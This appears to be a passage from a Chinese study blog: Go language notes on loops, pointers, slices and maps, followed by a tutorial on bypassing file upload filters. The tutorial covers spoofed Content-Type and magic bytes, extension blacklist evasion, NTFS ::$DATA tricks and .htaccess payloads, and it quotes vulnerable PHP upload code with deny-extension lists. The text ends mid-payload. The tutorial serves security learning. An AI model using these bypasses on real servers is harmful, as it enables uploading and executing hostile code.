例如：

1
var i int
2
j := i // j is an int
3

4
i := 42           // int
5
f := 3.142        // float64
6
g := 0.867 + 0.5i // complex128

Constants#

常量的声明要使用 const 关键词

常量的值可以为数值，字符，字符串，布尔值

常量不能使用 := 进行声明

Numeric Constants#

数值常量是 高精度值

这意味着数值常量没有赋值给具体的变量之前，它们的大小是没有限制的

无类型常量会根据上下文采用相应的类型

For#

go 只有这一个循环结构，就是 for

基本形式：for init; condition; post { ... }

基本的 go 的 for 循环依旧由三部分组成，各部分依旧用 ; 进行分隔：

初始化语句：在第一次迭代之前执行
条件表达式：在每次迭代之前进行评估
post 语句：在每次迭代结束时执行

例如：

1
package main
2

3
import "fmt"
4

5
func main() {
6
  sum := 0
7
  for i := 0; i < 10; i++ {
8
    sum += i
9
  }
10
  fmt.Println(sum)
11
}

i := 0 — 初始化语句，init 的声明的变量仅在 for 的作用域可见

i < 10 —条件表达式，condition

i++ — post 语句

当 for 循环结果为 false 的时候循环停止

与其他语言不同的点在于，第一个 for 它三个组成部分没有 ()；第二个是它循环部分必须使用花括号 {}（哪怕一行代码也得要 {}

init 和 post 语句是可选的（即可以不用写

例如：

1
func main() {
2
  sum := 1
3
  for ; sum < 1000; {
4
    sum += sum
5
  }
6
  fmt.Println(sum)
7
}

这个时候可以去掉 ;：

1
func main() {
2
  sum := 1
3
  for sum < 1000 {
4
    sum += sum
5
  }
6
  fmt.Println(sum)
7
}

If#

if 和 for 类似，表达式不需要使用括号 () 括起来，但是其中内容必须要使用 {} 括起来

if 也可以在条件执行前先执行一个简短代码（类似 for

例如：

1
func pow(x, n, lim float64) float64 {
2
  if v := math.Pow(x, n); v < lim {
3
    return v
4
  }
5
  return lim
6
}

v := math.Pow(x, n) 就是那段简短代码

注意它的作用域只存在于 if 的花括号内（和 else 的花括号内

例如：

1
func pow(x, n, lim float64) float64 {
2
  if v := math.Pow(x, n); v < lim {
3
    return v
4
  }
5
  return lim, v
6
}

这里的 return lim, v 就会出现 undefined: v 这个报错

函数调用先完成内部再完成外部的

例如：

1
package main
2

3
import (
4
  "fmt"
5
  "math"
6
)
7

8
func pow(x, n, lim float64) float64 {
9
  if v := math.Pow(x, n); v < lim {
10
    return v
11
  } else {
12
    fmt.Printf("%g >= %g\n", v, lim)
13
  }
14
  // can't use v here, though
15
  return lim
16
}
17

18
func main() {
19
  fmt.Println(
20
    pow(3, 2, 10),
21
    pow(3, 3, 20),
22
  )
23
}

展开收起

这里会先执行完 pow(3, 2, 10) 和 pow(3, 3, 20) 之后才会执行 fmt.Println

因此结果为：

虽然是先得到了第一个式子 pow(3, 2, 10) 的结果 9，但是要等第二个 pow(3, 3, 20) 执行完才能输出 9；而第二个的结果中先执行了输出 27 >= 20 后又得到了 20，因此得到此结果练习现在还没做（（（

Switch#

和 C 类似，运行第一个值等于 case 的条件表达式

其中的每个 case 中的内容会自带一个 break，即 switch 匹配到相应的 case 就会退出，不会再执行其中后续的代码

switch 中的 case 也不必是常量，涉及的值也不必是整数（@Java

例如：

1
package main
2
3
import (
4
    "fmt"
5
    "runtime"
6
)
7
8
func main() {
9
    fmt.Print("Go runs on ")
10
    switch os := runtime.GOOS; os {
11
    case "darwin":
12
        fmt.Println("macOS.")
13
    case "linux":
14
        fmt.Println("Linux.")
15
    default:
16
        // freebsd, openbsd,
17
        // plan9, windows...
18
        fmt.Printf("%s.\n", os)
19
    }
20
}
21

展开收起

若是 switch 在其中的所有 case 中都未匹配到，则采用 default 中预先设定的值

Switch with no condition#

若是写为 switch {}，则此时该语句等价于 switch true {}

该语句作用是：若是 switch 中的 case 执行结果为 true 则执行那个分支

例如：

1
package main
2
3
import (
4
    "fmt"
5
    "time"
6
)
7
8
func main() {
9
    t := time.Now()
10
    switch {
11
    case t.Hour() < 12:
12
        fmt.Println("Good morning!")
13
    case t.Hour() < 17:
14
        fmt.Println("Good afternoon.")
15
    default:
16
        fmt.Println("Good evening.")
17
    }
18
}

展开收起

这里若是成功匹配到了相应的 case，则直接执行其中的内容

Defer#

defer 语句将其后的函数推迟到周围函数执行返回为止

被推迟的调用参数会被立即求值，但是它的函数调用会直到周围的函数返回才会被执行

例如：

1
package main
2
3
import "fmt"
4
5
func main() {
6
    defer fmt.Println("world")
7
8
    fmt.Println("hello")
9
}

这里我们对 fmt.Println("world") 使用了 defer 后，该函数的输出被进行推迟，因此函数会优先执行 fmt.Println("hello")，等输出结果后再进行 fmt.Println("world")

Stacking defers#

这里拿一个最精髓的例子来解释：

1
package main
2
3
import "fmt"
4
5
func main() {
6
    fmt.Println("开始")
7
8
    // 依次压入3个延迟调用
9
    defer fmt.Println("延迟 1：最先被defer，最后执行")
10
    defer fmt.Println("延迟 2：中间被defer")
11
    defer fmt.Println("延迟 3：最后被defer，最先执行")
12
13
    fmt.Println("结束")
14
}

总结：延迟函数调用会被压入一个栈中。当一个函数返回时，它的延迟调用会按照 后进先出 的顺序执行（具体实现就是上述的例子

在上述的例子中，最后被延迟函数压入栈（后进）的会被最先执行（先出）

Pointers#

指针！

（因为这一章 0n1y 在学习 C 的时候跑去学习 Python 了 55555，所以可能有点详细）

指针保留一个值的内存地址

类型 *T 是实现 T 值的指针，它的零值是 nil（即空指针

例如：

var p *int

声明一个名为 p 的变量，它的类型是 指向整数的指针

此时这个 p 只是一个空指针

我们可以使用 & 去让它真正指向某个变量（在此处为 int 类型的变量

例如：

1
var num int = 100
2
var p *int
3
p = &num

此番操作过后，p 便不再是 nil，它是存着 num 地址的指针

接着，我们可以接着使用 * 去进行指针内容的提取

例如：

1
var num int = 100
2
var p *int = &num
3
4
fmt.Println(p)   // 输出: 地址本身
5
fmt.Println(*p)  // 输出: 100

由此可见：

在声明的时候，* 的作用是说明其为指针类型的变量

在表达式中，* 的作用是获取指针指向的 真实值

其中，*p 也被叫做 解引用 或者 间接引用

Go 没有指针计算（这里对 C 的指针计算不了解就不解释了233

Structs#

结构体，即一组字段的集合

例如：

1
type Vertex struct {
2
    X int
3
    Y int
4
}

结构体字段通过 . 进行访问（使用

例如：

1
package main
2
3
import "fmt"
4
5
type Vertex struct {
6
    X int
7
    Y int
8
}
9
10
func main() {
11
    v := Vertex{1, 2}
12
    v.X = 4
13
    fmt.Println(v.X)
14
}

这里先创建了一个 v 的实例，使其中的 X, Y 属性分别赋值为 1, 2

随后的 v.X = 4 通过点号取到 v 实例内部的 X 属性，并且赋值使其等于 4

Pointers to structs#

可以使用结构体指针去访问结构体字段

我们可以使用 p.X 去直接访问，而不需要写成 (*p).X

例如：

1
package main
2

3
import "fmt"
4

5
type Vertex struct {
6
  X int
7
  Y int
8
}
9

10
func main() {
11
  v := Vertex{1, 2}
12
  p := &v
13
  p.X = 1e9
14
  fmt.Println(v)
15
}

展开收起

这里先得到一个实例 v，随后初始化一个指向 v 的结构体指针 v

原本应该先解引用才能使我们访问得到指针指向的真实值

即 (*p).X，这里必须得加括号，因为 go 中点号的优先级大于 *

但是 go 就有很好的一点，它不需要加括号和 *，要提取指针中的真实值时直接使用 p.X 即可

Struct Literals#

正常来讲，我们为一个结构体实例赋值的时候是严格按照顺序去进行赋值

但是 go 提供了一种自定义的赋值，可以不依赖顺序

例如：

1
package main
2

3
import "fmt"
4

5
type Vertex struct {
6
  X, Y int
7
}
8

9
var (
10
  v1 = Vertex{1, 2}  // has type Vertex
11
  v2 = Vertex{X: 1}  // Y:0 is implicit
12
  v3 = Vertex{}      // X:0 and Y:0
13
  p  = &Vertex{1, 2} // has type *Vertex
14
)
15

16
func main() {
17
  fmt.Println(v1, p, v2, v3)
18
}

展开收起

这里的 v2 = Vertex{X: 1} 将 X 属性初始化为 1，而没有初始化 Y 属性，于是 Y 属性自动采用 该类型的 0 值

并且这个赋值和顺序无关

例如：

v2 = Vertex{X: 1, Y: 2} 和 v2 = Vertex{Y: 2, X: 1} 是完全等价的

还可以初始化结构体指针：

例如：

1
var (
2
  v1 = Vertex{1, 2}  // has type Vertex
3
  v2 = Vertex{X: 1}  // Y:0 is implicit
4
  v3 = Vertex{}      // X:0 and Y:0
5
  p  = &Vertex{1, 2} // has type *Vertex
6
)

这里的 p = &Vertex{1, 2} 将 p 初始化为指向 Vertex 这个结构体的指针

Arrays#

[n]T 是一个包含 n 类型为 T 的值的数组

例如：

1
var a [10]int

注意，数组的长度是其类型的一部分，所以数组是不能直接调整大小

因此，我们也可以说，数组的大小是固定的

这里引入切片的概念：

它是一种动态调整大小、灵活地访问数组元素的视图（好用！

[]T 是一个切片，其中元素类型为 T

它是通过上下限和冒号组成的：

a[low : high]

这里的 low 是闭区间（没错，这不是数学，它将包含该位置的元素

high 则是开区间，不包含该位置元素

例如：

1
package main
2

3
import "fmt"
4

5
func main() {
6
  primes := [6]int{2, 3, 5, 7, 11, 13}
7

8
  var s []int = primes[1:4]
9
  fmt.Println(s)
10
}

这里创建了 s 这个切片，类型为 int

结果为 [3 5 7]

切片不会存储任何数据，但是改变切片中的数据会同时影响原数组中的元素和共享该数组的其他切片数据

例如：

1
package main
2

3
import "fmt"
4

5
func main() {
6
  names := [4]string{
7
    "John",
8
    "Paul",
9
    "George",
10
    "Ringo",
11
  }
12
  fmt.Println(names)
13

14
  a := names[0:2]
15
  b := names[1:3]
16
  fmt.Println(a, b)
17

18
  b[0] = "XXX"
19
  fmt.Println(a, b)
20
  fmt.Println(names)
21
}

展开收起

这里的结果为：

1
[John Paul George Ringo]
2
[John Paul] [Paul George]
3
[John XXX] [XXX George]
4
[John XXX George Ringo]

Slice literals#

切片字面量相当于一个数组字面量（但是没有长度

例如：

这是一个数组字面量 [3]bool{true, true, false}

这是一个切片字面量 []bool{true, true, false}

相较于数组字面量，切面字面量更方便，它能让我们直接计算好数组中的元素个数（不用去填、将元素填入数组中等等

使用切片时，我们可以忽略其上下限，而这会使得它改用默认值

下限默认值为 0，上限默认值为切片长度

例如，对于 var a [10]int，以下切片等价：

1
a[0:10]
2
a[:10]
3
a[0:]
4
a[:]

Slice length and capacity#

切片是有长度和容量的

切片的长度指的是切片中所含的元素个数

切片的容量指的是其底层数组中所含的元素个数，从切片中的第一个元素开始数

例如：

1
package main
2

3
import "fmt"
4

5
func main() {
6
  arr := [4]int{10, 20, 30, 40}
7

8
  sl1 := arr[0:4]
9
  sl2 := arr[0:2]
10
  sl3 := arr[1:3]
11
  sl4 := arr[1:4]
12

13
  fmt.Printf("sl1: %v, len: %d, cap: %d\n", sl1, len(sl1), cap(sl1))
14
  fmt.Printf("sl2: %v, len: %d, cap: %d\n", sl2, len(sl2), cap(sl2))
15
  fmt.Printf("sl3: %v, len: %d, cap: %d\n", sl3, len(sl3), cap(sl3))
16
  fmt.Printf("sl4: %v, len: %d, cap: %d\n", sl4, len(sl4), cap(sl4))
17
}

展开收起

对于切片长度：（len()）

sl1 的值为 4

sl2 的值为 2

sl3 的值为 2

sl4 的值为 3

对于切片容量：（cap()）

sl1 的值为 4

sl2 的值为 4

sl3 的值为 3

sl4 的值为 3

对此，其实只有容量需要去进行理解

切片的容量是从它的下限开始一直到底层数组的最后一个元素为止元素的数量

（看到上面的 sl3 和 sl4 的容量值没有因为上限设置的不同而输出不同的结果

只要切片的容量够，就随时可以通过修改切片去延展切片的长度（若是切片长度超过了容量则会报错

Nil slices#

切片的零值是 nil

空切片的长度和容量都是 0，并且其没有底层数组

Creating a slice with make#

make 可以创建动态大小的数组（虽然创造的还是切片

make 函数会创造一个零数组（自动将这个数组中的所有值赋值为 0

并且返回一个指向该数组的切片

例如：

a := make([]int, 5) // len(a)=5

make 接受三个参数，第一个参数为 切片的类型，第二个参数为 切片的长度，第三个参数为 切片的容量

Slices of slices#

切片可以包含任意类型的切片，包括其他的切片

例如：

1
package main
2

3
import (
4
  "fmt"
5
  "strings"
6
)
7

8
func main() {
9
  // Create a tic-tac-toe board.
10
  board := [][]string{
11
    []string{"_", "_", "_"},
12
    []string{"_", "_", "_"},
13
    []string{"_", "_", "_"},
14
  }
15

16
  // The players take turns.
17
  board[0][0] = "X"
18
  board[2][2] = "O"
19
  board[1][2] = "X"
20
  board[1][0] = "O"
21
  board[0][2] = "X"
22

23
  for i := 0; i < len(board); i++ {
24
    fmt.Printf("%s\n", strings.Join(board[i], " "))
25
  }
26
}

展开收起

其实就是类似二维数组，通过二维的索引去访问其中元素

Appending to a slice#

go 中内置了一个 append 函数，可以像切片中添加新元素，基本形式如下：

func append(s []T, vs ...T) []T

append 函数中的第一个参数是一个类型为 T 的切片，其余参数是要添加到切片中的值

append 函数返回的结果是一个包含了完整原始切片加上新添加值的新切片

若是新添加的元素超过了原切片的容量，那么 go 会自动开出一片更大的新数组

并且将旧数组中的内容全部拷贝到新数组中并且加上新添加的元素

注意：此操作结束后新数组的内存地址将是一个全新的地址！（意味着若是我们在此之前使用过某个指向原数组的指针，当我们在添加了新元素后再次访问该指针得到的不是新的切片/数组；由此，我们也可以知道，若是发生了切片的扩容，这个 append 的动作将不会对原数组产生影响

Range#

range 形式的 for 循环遍历切片或者映射（即 map，后续会将

这里对切片进行 for 循环的时候不是必须使用 range，使用情况有很多种

例如：

1
package main
2
3
import "fmt"
4
5
var pow = []int{1, 2, 4, 8, 16, 32, 64, 128}
6
7
func main() {
8
    for i, v := range pow {
9
        fmt.Printf("2**%d = %d\n", i, v)
10
    }
11
}
12

这里的 i 是索引，v是对应索引位置的元素的副本（这里是用了两个参数 i 和 v

Range continued#

我们可以使用 _ 去跳过索引或者值

例如：

1
for i, _ := range pow //跳过值
2
for _, value := range pow //跳过索引

如果只想要索引可以直接省略第二个变量：

for i := range pow

Maps#

实质就是键值对（

格式为：map[KeyType]ValueType

若是只声明一个变量而不做初始化，它的值为 nil

nil 没有键，也不能添加键

使用 make 去对 map 进行初始化

例如：

1
package main
2

3
import "fmt"
4

5
type Vertex struct {
6
  Lat, Long float64
7
}
8

9
var m map[string]Vertex
10

11
func main() {
12
  m = make(map[string]Vertex)
13
  m["Bell Labs"] = Vertex{
14
    40.68433, -74.39967,
15
  }
16
  fmt.Println(m["Bell Labs"])
17
}

展开收起

这里先使用 make 去初始化了一个映射

随后对其进行赋值

Map literals continued#

若是顶层类型只是一个类型名称，则可以省略

例如：

1
package main
2

3
import "fmt"
4

5
type Vertex struct {
6
  Lat, Long float64
7
}
8

9
var m = map[string]Vertex{
10
  "Bell Labs": {40.68433, -74.39967},
11
  "Google":    {37.42202, -122.08408},
12
}
13

14
func main() {
15
  fmt.Println(m)
16
}

展开收起

这里没有在 map 里面再纠结类型

因为在 map 定义的时候已经说过值是什么类型了，在填数据的时候直接填数据即可

Mutating Maps#

在映射中插入/更新元素：

m[key] = elem

获取元素：

elem = m[key]

删除元素：

delete(m, key)

可以使用双值赋值来测试 键是否存在：

elem, ok = m[key]

若是 key 在 m 中，则 ok 为 true；否则 ok 为 false

同时，如果 key 不在映射表中，则 elem 为映射表元素类型的零值

如果还没有声明 elem 或者 ok 可以如下使用：

elem, ok := m[key]

例如：

1
package main
2

3
import "fmt"
4

5
func main() {
6
  m := make(map[string]int)
7

8
  m["Answer"] = 42
9
  fmt.Println("The value:", m["Answer"])
10

11
  m["Answer"] = 48
12
  fmt.Println("The value:", m["Answer"])
13

14
  delete(m, "Answer")
15
  fmt.Println("The value:", m["Answer"])
16

17
  v, ok := m["Answer"]
18
  fmt.Println("The value:", v, "Present?", ok)
19
}

展开收起

这里的结果为：

1
The value: 42
2
The value: 48
3
The value: 0
4
The value: 0 Present? false

Function values#

函数也是值，也可以被传递

例如：

1
package main
2

3
import (
4
  "fmt"
5
  "math"
6
)
7

8
func compute(fn func(float64, float64) float64) float64 {
9
  return fn(3, 4)
10
}
11

12
func main() {
13
  hypot := func(x, y float64) float64 {
14
    return math.Sqrt(x*x + y*y)
15
  }
16
  fmt.Println(hypot(5, 12))
17

18
  fmt.Println(compute(hypot))
19
  fmt.Println(compute(math.Pow))
20
}

展开收起

这里的

1
hypot := func(x, y float64) float64 {
2
    return math.Sqrt(x*x + y*y)
3
  }

就是把函数当成一个值去给变量进行赋值（随后变量 hypot 可以像普通函数一样被调用

这里的

1
func compute(fn func(float64, float64) float64) float64 {
2
  return fn(3, 4)
3
}

compute 函数不用去管其中的 fn 函数是怎么个计算逻辑，它只需要知道 fn 函数收到两个 float64 类型的参数随后计算结果返回一个 float64 类型的参数

随后，我们只需要替换 fn 为其他函数（例如本例中的 hypot 和 math.Sqrt

即，若是我们向 compute 中传入的函数为 hypot，它的返回逻辑就会变为：

return hypot(3, 4)

若是 math.Sqrt 则同理，变为 return math.Sqrt(3, 4)

Function closures#

闭包是指函数值引用其外部变量。函数可以访问并赋值给被引用的变量

例如：

1
package main
2

3
import "fmt"
4

5
func adder() func(int) int {
6
  sum := 0
7
  return func(x int) int {
8
    sum += x
9
    return sum
10
  }
11
}
12

13
func main() {
14
  pos, neg := adder(), adder()
15
  for i := 0; i < 10; i++ {
16
    fmt.Println(
17
      pos(i),
18
      neg(-2*i),
19
    )
20
  }
21
}

展开收起

这里的 sum 即为闭包函数

在运行 adder() 后，sum并不会直接变为 0，而是继续着之前的 sum 值

入门文件上传漏洞

Fri, 15 May 2026 00:00:00 GMT

再入门文件上传？

之前对文件上传漏洞只是有个大致的了解，但是没怎么写题目，对一些难的绕过也没有涉猎

这里重新系统性的学习了一下文件上传漏洞，加上刷题后的理解，便有了此文

alt text

前端检验#

先上传一个正常可上传的文件，再利用抓包将其后缀名改为恶意文件后缀

也可以尝试 禁用 Javascript（前端大部分检测都是依赖 Javascript 所实现的

这里以 Chrome 浏览器为例讲讲如何禁用 Javascript：

点击 URL 栏左侧的调谐器图标
点击其中的“网站设置”
在其中选择 Javascript，改为“禁用”
返回原网页进行刷新

后端检测文件类型#

这里的检测分为两种：后端检测 content-type 和后端检测文件头

后端检测 `content-type`#

对于这种检验，我们依旧可以采取抓包修改 content-type 后再进行上传的操作

修改 content-type 对于我们的文件内容正确执行不会有任何影响

原理：content-type 实质也就是一个 http 请求头，且完全是由客户端决定的

常见的 content-type：

类型	描述	典型示例
`text`	表明文件是普通文本，理论上是人类可读	`text/plain`, `text/html`, `text/css, text/javascript`
`image`	表明是某种图像。不包括视频，但是动态图（比如动态gif）也使用image类型	`image/gif`, `image/png`, `image/jpeg`, `image/bmp`, `image/webp`, `image/x-icon`, `image/vnd.microsoft.icon`
`audio`	表明是某种音频文件	`audio/midi`, `audio/mpeg,audio/webm,` `audio/ogg,audio/wav`
`video`	表明是某种视频文件	`video/webm`, `video/ogg`
`application`	表明是某种二进制数据	`application/octet-stream`, `application/pkcs12`, `application/vnd.mspowerpoint`, `application/xhtml+xml`, `application/xml`, `application/pdf`

后端检测文件头#

对于这种检测，我们的应对方法是在文件内容前面加上该文件的 文件签名

类型	后缀	文件头（文件签名）
JPEG	jpg	FF D8 FF
PNG	png	89 50 4E 47 0D 0A 1A 0A
GIF	gif	47 49 46 38 37 61 (GIF87a) 或 47 49 46 38 39 61 (GIF89a)
XML	xml	3C 3F 78 6D 6C
ZIP Archive	zip	50 4B 03 04
RAR Archive	rar	52 61 72 21
Windows Bitmap	bmp	42 4D C0 01
TIFF	tif	49 49 2A 00
HTML	html	68 74 6D 6C 3E
MS Word/Excel	doc/xls	D0 CF 11 E0
RIFF	webp	52 49 46 46

后端检测文件后缀名（黑名单）#

特殊后缀名绕过#

若是后端仅仅黑名单禁止了一些常见的后缀名，这个时候我们可以采用一些比较不常见的后缀名

对于 php：Php|php2|php3|php4|php5|php6|php7|pht|phtm|phtml

对于 jsp：jspx|jspf

对于 asp：asa|cer|cdx

对于 aspx：ashx|asmx|ascx

常见的后端源码：

一般使用匹配的方式

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array('.asp','.aspx','.php','.jsp');
6
        $file_name = trim($_FILES['upload_file']['name']);
7
        $file_name = deldot($file_name);//删除文件名末尾的点
8
        $file_ext = strrchr($file_name, '.');
9
        $file_ext = strtolower($file_ext); //转换为小写
10
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11
        $file_ext = trim($file_ext); //收尾去空
12

13
        if(!in_array($file_ext, $deny_ext)) {
14
            $temp_file = $_FILES['upload_file']['tmp_name'];
15
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
16
            if (move_uploaded_file($temp_file,$img_path)) {
17
                 $is_upload = true;
18
            } else {
19
                $msg = '上传出错！';
20
            }
21
        } else {
22
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件！';
23
        }
24
    } else {
25
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
26
    }
27
}

展开收起

大小写绕过#

对于 Windows 系统，文件拓展名对大小写不敏感；对于 Linux 系统，文件拓展名对大小写敏感

我们可以将后缀进行大写替换

例如：我们有 0n1y.txt 和 0n1y.Txt 这两个文件，在 Windows 系统中它们会被视为同一个文件，而在 Linux 系统中它们会被视为两个不同的文件

常见的后端源码：

没有使用函数进行 小写转换

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6
        $file_name = trim($_FILES['upload_file']['name']);
7
        $file_name = deldot($file_name);//删除文件名末尾的点
8
        $file_ext = strrchr($file_name, '.');
9
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
10
        $file_ext = trim($file_ext); //首尾去空
11

12
        if (!in_array($file_ext, $deny_ext)) {
13
            $temp_file = $_FILES['upload_file']['tmp_name'];
14
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
15
            if (move_uploaded_file($temp_file, $img_path)) {
16
                $is_upload = true;
17
            } else {
18
                $msg = '上传出错！';
19
            }
20
        } else {
21
            $msg = '此文件类型不允许上传！';
22
        }
23
    } else {
24
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
25
    }
26
}

展开收起

双写绕过#

在其他 Web 安全漏洞的学习中，我们知道某些“粗心”的程序员面对一些不安全的字符串会将其替换为空字符串

我们只需要将危险字符串连写多份

例如：后端选择将检测到的 php 替换空字符串，这里我们可以构造 pphphp 去进行绕过

常见的后端源码：

一般使用一些 替换函数

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
6

7
        $file_name = trim($_FILES['upload_file']['name']);
8
        $file_name = str_ireplace($deny_ext,"", $file_name);
9
        $temp_file = $_FILES['upload_file']['tmp_name'];
10
        $img_path = UPLOAD_PATH.'/'.$file_name;
11
        if (move_uploaded_file($temp_file, $img_path)) {
12
            $is_upload = true;
13
        } else {
14
            $msg = '上传出错！';
15
        }
16
    } else {
17
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
18
    }
19
}

展开收起

空格绕过#

仅适用于 Windows 系统

传入后缀带空格的文件，Windows 系统会自动将文件后缀名末尾的空格删除从而进行解析；对于 Linux 系统来说则不行，它会完整的保留那个空格

我们可以在文件后缀加上空格

例如：0n1y.php —> 0n1y.php+（这里的 + 是一个空格）

常见的后端源码：

一般使用匹配的方式

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6
        $file_name = $_FILES['upload_file']['name'];
7
        $file_name = deldot($file_name);//删除文件名末尾的点
8
        $file_ext = strrchr($file_name, '.');
9
        $file_ext = strtolower($file_ext); //转换为小写
10
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
11

12
        if (!in_array($file_ext, $deny_ext)) {
13
            $temp_file = $_FILES['upload_file']['tmp_name'];
14
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
15
            if (move_uploaded_file($temp_file,$img_path)) {
16
                $is_upload = true;
17
            } else {
18
                $msg = '上传出错！';
19
            }
20
        } else {
21
            $msg = '此文件不允许上传';
22
        }
23
    } else {
24
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
25
    }

展开收起

点绕过#

仅适用于 Windows 系统

与空格绕过类似，Windows 文件名后缀后加点号会被自动删除，Linux 后缀后空白符后的点号会自动删除，但数据包中可以加上点号，上传后自动删除

我们可以在文件后缀加上点号

例如：0n1y.php 写成 0n1y.php.

常见的后端源码：

一般使用匹配的方式

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6
        $file_name = trim($_FILES['upload_file']['name']);
7
        $file_ext = strrchr($file_name, '.');
8
        $file_ext = strtolower($file_ext); //转换为小写
9
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
10
        $file_ext = trim($file_ext); //首尾去空
11

12
        if (!in_array($file_ext, $deny_ext)) {
13
            $temp_file = $_FILES['upload_file']['tmp_name'];
14
            $img_path = UPLOAD_PATH.'/'.$file_name;
15
            if (move_uploaded_file($temp_file, $img_path)) {
16
                $is_upload = true;
17
            } else {
18
                $msg = '上传出错！';
19
            }
20
        } else {
21
            $msg = '此文件类型不允许上传！';
22
        }
23
    } else {
24
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
25
    }
26
}

展开收起

NTFS文件流(::$DATA)绕过#

仅适用于 Windows 系统

::$DATA 流是 Windows NTFS 文件系统中的一个功能，它允许一个文件拥有多个数据流。创建一个数据交换流文件的方法：宿主文件:准备与宿主文件关联的数据流文件

我们可以使用文件名为文件名+::$DATA，则会把 ::DATA 之后的数据当成文件流处理，并不会检测后缀名，且保持 ::$DATA 之前的文件名（访问文件的时候不需要加上 ::$DATA

例如：0n1y.php::$DATA

常见的后端源码：

一般 没有删除末尾的 ::$DATA

1
$is_upload = false;
2
$msg = null;
3
if (isset($_POST['submit'])) {
4
    if (file_exists(UPLOAD_PATH)) {
5
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
6
        $file_name = trim($_FILES['upload_file']['name']);
7
        $file_name = deldot($file_name);//删除文件名末尾的点
8
        $file_ext = strrchr($file_name, '.');
9
        $file_ext = strtolower($file_ext); //转换为小写
10
        $file_ext = trim($file_ext); //首尾去空
11

12
        if (!in_array($file_ext, $deny_ext)) {
13
            $temp_file = $_FILES['upload_file']['tmp_name'];
14
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
15
            if (move_uploaded_file($temp_file, $img_path)) {
16
                $is_upload = true;
17
            } else {
18
                $msg = '上传出错！';
19
            }
20
        } else {
21
            $msg = '此文件类型不允许上传！';
22
        }
23
    } else {
24
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
25
    }
26
}

展开收起

.htaccess绕过#

仅适用于 Apache 服务器

该文件可以控制同目录下的访问权限和解析设置，若是黑名单未过滤 .htaccess 文件的上传，并且允许用户适用自定义的 .htaccess 文件，则我们可以使得特定后缀名的文件当成比如 php 文件去执行，或者直接将特定的文件当成 php 文件去执行（修改后不仅能够改变当前目录下的 Apache 配置信息，还能修改其子目录下的配置信息

若要启动 .htaccess 配置文件，需要在服务器的主配置文件将 AllowOverride 设置为 All，并且 Apache 加载了 rewrite 模块

一般分为两种指令：AddType 和 SetHandler

AddType 可以将特定的文件扩展名映射到指定的内容类型（即将其他拓展名指定为 php 文件进行解析

SetHandler 强制所有匹配的文件由指定的处理器处理（即指定特定文件当作 php 文件进行解析

payload：

1
<IfModule mime_module>
2
AddHandler php5-script .gif
3

4
SetHandler application/x-httpd-php
5
</IfModule>

1
<FilesMatch "evil.gif">
2
SetHandler application/x-httpd-php
3

4
AddHandler php5-script .gif
5
</FilesMatch>

1
<IfModule mime_module>
2
